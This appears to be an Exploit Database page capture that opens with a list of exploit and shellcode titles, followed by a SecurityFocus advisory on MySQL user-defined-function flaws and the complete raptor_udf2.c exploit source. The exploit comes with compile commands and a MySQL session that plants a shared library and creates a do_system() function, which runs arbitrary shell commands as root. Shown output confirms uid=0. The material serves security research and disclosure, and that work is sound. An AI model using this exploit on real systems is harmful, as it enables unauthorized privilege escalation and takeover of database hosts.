
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
113 lines
No EOL
4.3 KiB
C
113 lines
No EOL
4.3 KiB
C
// source: https://www.securityfocus.com/bid/12781/info
|
|
|
|
MySQL is reported prone to multiple vulnerabilities that can be exploited by a remote authenticated attacker. The following individual issues are reported:
|
|
|
|
- Insecure temporary file-creation vulnerability. Reports indicate that an attacker with 'CREATE TEMPORARY TABLE' privileges on an affected installation may leverage this vulnerability to corrupt files with the privileges of the MySQL process.
|
|
|
|
- Input-validation vulnerability. Remote attackers with INSERT and DELETE privileges on the 'mysql' administrative database can exploit this. Reports indicate that this issue may be leveraged to load and execute a malicious library in the context of the MySQL process.
|
|
|
|
- Remote arbitrary-code execution vulnerability. Reportedly, the vulnerability may be triggered by employing the 'CREATE FUNCTION' statement to manipulate functions to control sensitive data structures. This issue may be exploited to execute arbitrary code in the context of the database process.
|
|
|
|
These issues are reported to exist in MySQL versions prior to MySQL 4.0.24 and 4.1.10a.
|
|
|
|
/*
|
|
* $Id: raptor_udf2.c,v 1.1 2006/01/18 17:58:54 raptor Exp $
|
|
*
|
|
* raptor_udf2.c - dynamic library for do_system() MySQL UDF
|
|
* Copyright (c) 2006 Marco Ivaldi <raptor@0xdeadbeef.info>
|
|
*
|
|
* This is an helper dynamic library for local privilege escalation
|
|
through
|
|
* MySQL run with root privileges (very bad idea!), slightly modified to
|
|
work
|
|
* with newer versions of the open-source database. Tested on MySQL
|
|
4.1.14.
|
|
*
|
|
* See also: http://www.0xdeadbeef.info/exploits/raptor_udf.c
|
|
*
|
|
* Starting from MySQL 4.1.10a and MySQL 4.0.24, newer releases include
|
|
fixes
|
|
* for the security vulnerabilities in the handling of User Defined
|
|
Functions
|
|
* (UDFs) reported by Stefano Di Paola <stefano.dipaola@wisec.it>. For
|
|
further
|
|
* details, please refer to:
|
|
*
|
|
* http://dev.mysql.com/doc/refman/5.0/en/udf-security.html
|
|
* http://www.wisec.it/vulns.php?page=4
|
|
* http://www.wisec.it/vulns.php?page=5
|
|
* http://www.wisec.it/vulns.php?page=6
|
|
*
|
|
* "UDFs should have at least one symbol defined in addition to the xxx
|
|
symbol
|
|
* that corresponds to the main xxx() function. These auxiliary symbols
|
|
* correspond to the xxx_init(), xxx_deinit(), xxx_reset(), xxx_clear(),
|
|
and
|
|
* xxx_add() functions". -- User Defined Functions Security Precautions
|
|
*
|
|
* Usage:
|
|
* $ id
|
|
* uid=500(raptor) gid=500(raptor) groups=500(raptor)
|
|
* $ gcc -g -c raptor_udf2.c
|
|
* $ gcc -g -shared -W1,-soname,raptor_udf2.so -o raptor_udf2.so
|
|
raptor_udf2.o -lc
|
|
* $ mysql -u root -p
|
|
* Enter password:
|
|
* [...]
|
|
* mysql> use mysql;
|
|
* mysql> create table foo(line blob);
|
|
* mysql> insert into foo
|
|
values(load_file('/home/raptor/raptor_udf2.so'));
|
|
* mysql> select * from foo into dumpfile '/usr/lib/raptor_udf2.so';
|
|
* mysql> create function do_system returns integer soname
|
|
'raptor_udf2.so';
|
|
* mysql> select * from mysql.func;
|
|
* +-----------+-----+----------------+----------+
|
|
* | name | ret | dl | type |
|
|
* +-----------+-----+----------------+----------+
|
|
* | do_system | 2 | raptor_udf2.so | function |
|
|
* +-----------+-----+----------------+----------+
|
|
* mysql> select do_system('id > /tmp/out; chown raptor.raptor /tmp/out');
|
|
* mysql> \! sh
|
|
* sh-2.05b$ cat /tmp/out
|
|
* uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)
|
|
* [...]
|
|
*/
|
|
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
|
|
enum Item_result {STRING_RESULT, REAL_RESULT, INT_RESULT, ROW_RESULT};
|
|
|
|
typedef struct st_udf_args {
|
|
unsigned int arg_count; // number of arguments
|
|
enum Item_result *arg_type; // pointer to item_result
|
|
char **args; // pointer to arguments
|
|
unsigned long *lengths; // length of string args
|
|
char *maybe_null; // 1 for maybe_null args
|
|
} UDF_ARGS;
|
|
|
|
typedef struct st_udf_init {
|
|
char maybe_null; // 1 if func can return
|
|
NULL
|
|
unsigned int decimals; // for real functions
|
|
unsigned long max_length; // for string functions
|
|
char *ptr; // free ptr for func data
|
|
char const_item; // 0 if result is constant
|
|
} UDF_INIT;
|
|
|
|
int do_system(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char
|
|
*error)
|
|
{
|
|
if (args->arg_count != 1)
|
|
return(0);
|
|
|
|
system(args->args[0]);
|
|
|
|
return(0);
|
|
}
|
|
|
|
char do_system_init(UDF_INIT *initid, UDF_ARGS *args, char *message)
|
|
{
|
|
return(0);
|
|
} |